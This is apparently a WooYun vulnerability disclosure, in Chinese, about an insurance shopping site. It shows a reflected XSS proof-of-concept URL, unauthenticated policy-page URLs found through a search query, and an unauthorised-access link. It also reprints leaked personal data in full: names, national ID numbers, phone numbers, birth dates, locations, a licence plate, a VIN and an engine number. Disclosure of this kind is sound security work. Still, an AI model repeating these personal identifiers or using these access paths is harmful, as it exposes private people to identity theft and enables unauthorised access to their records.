WooYun.org

XSS：
http://**.**.**.**/ecs_vip/perfUser?signPhone=13880188991%27%3Cscript%3EAlert%28%22%22%29%3C/script%3E11111111111111111%3Cscript%3Ealert%28%22/xss/%22%29%3C/script%3E

这里泄漏了用户的手机号

本来拿他来研究任意密码重置的，不过研究了几次，还是失败了
不过保单就没那么幸运了
呵呵
思路:site:**.**.**.**/

240条记录，我们来看看猫腻
http://**.**.**.**/ecs_shop/nonvhl/showApplyInfoPage.do?pID=CPWX0605&qtnGroupNo=44b0b3b557ae473ba1ac05382ca68c59&qtnNo=1127685F21432708E054001517EDAD9C
保单信息泄漏了

http://**.**.**.**/ecs_shop/nonvhl/showApplyInfoPage.do?pID=CPWX0607&qtnGroupNo=cd964f0d661a4cf0ab16f2134979c5e4&qtnNo=19921D13DAE823A9E054001517EDAD9C

http://**.**.**.**/ecs_shop/nonvhl/showApplyInfoPage.do?pID=CPWX0607&qtnGroupNo=cd964f0d661a4cf0ab16f2134979c5e4&qtnNo=19921D13DAE823A9E054001517EDAD9C

车牌号，发动机号泄漏
http://**.**.**.**/ecs_shop/vhl/calcvhlquoteresult.do?qtngroupno=2A3B1A2D6C734EF4B441831DA150FF7E&servcitycode=511700
车辆信息
修改
车牌号： 川SCB633 注册登记日期： 2014-04-24 车架号： LDC953T20E1863420
车辆名称： 标致308乐享版1.6L MT优尚型 发动机号： 0524194
http://**.**.**.**/ecs_shop/vhl/apply/inputapplyinfo.do?servcitycode=510800&qtnno=0586e3cc331c45fdaf8b7bbb948313fb&usevoucher=&qtngroupno=6323B94568DF47A5BF40A7245DAA595B
同样

http://**.**.**.**/ecs_shop/nonvhl/showApplyInfoPage.do?pID=CPWX0601&qtnGroupNo=09fa433cb7d1471e856f2f2ff2dd3c6a&qtnNo=135D029F6C535584E054001517EDAD9C

姓名： 	姚振东 	证件类型： 	身份证
性别： 	男 	证件号码： 	411521198509280010
出生日期： 	1985-09-28 	所在地区： 	四川省-成都市-高新区
联系电话： 	13800138000 	电子邮箱： 	432423@**.**.**.**

http://**.**.**.**/ecs_shop/nonvhl/showApplyInfoPage.do?pID=CPWX0601&qtnGroupNo=4a125c8103c647e69503ac01237b53b2&qtnNo=0DC59EFD7819040EE054001517EDAD9C

姓名： 	速度覅 	证件类型： 	身份证
性别： 	男 	证件号码： 	51010719851115261X
出生日期： 	1985-11-15 	所在地区： 	四川省-成都市-双流县
联系电话： 	14789564889 	电子邮箱： 	sdfs5df4@**.**.**.**

http://**.**.**.**/ecs_shop/nonvhl/showApplyInfoPage.do?pID=CPWX0602&qtnGroupNo=f667d4486d9243ed99d546362006058e&qtnNo=0F2B8D2AC9DE6DEDE054001517EDAD9C

姓名： 	杨爱因 	证件类型： 	身份证
性别： 	男 	证件号码： 	510502197307151914
出生日期： 	1973-07-15 	所在地区： 	四川省-泸州市-江阳区
联系电话： 	18982444273 	电子邮箱： 	yaywxm@**.**.**.**

http://**.**.**.**/ecs_shop/nonvhl/showApplyInfoPage.do?pID=CPWX0604&qtnGroupNo=3cbe7a7e35a3453f80c8e615e82764fb&qtnNo=0C6D0ED95D732182E054001517EDAD9C

保单太多了，就不一一贴出了
未授权访问：
http://**.**.**.**/ZWMdp/temp/source/B48F88119420E1AD7C0887362EFEC62F/19424521.html#xiangxipage
不用登录，即可越权

http://**.**.**.**/ZWMdp/temp/source/994ECC91A6F1186B3393604B7BCE90F0/155343618.html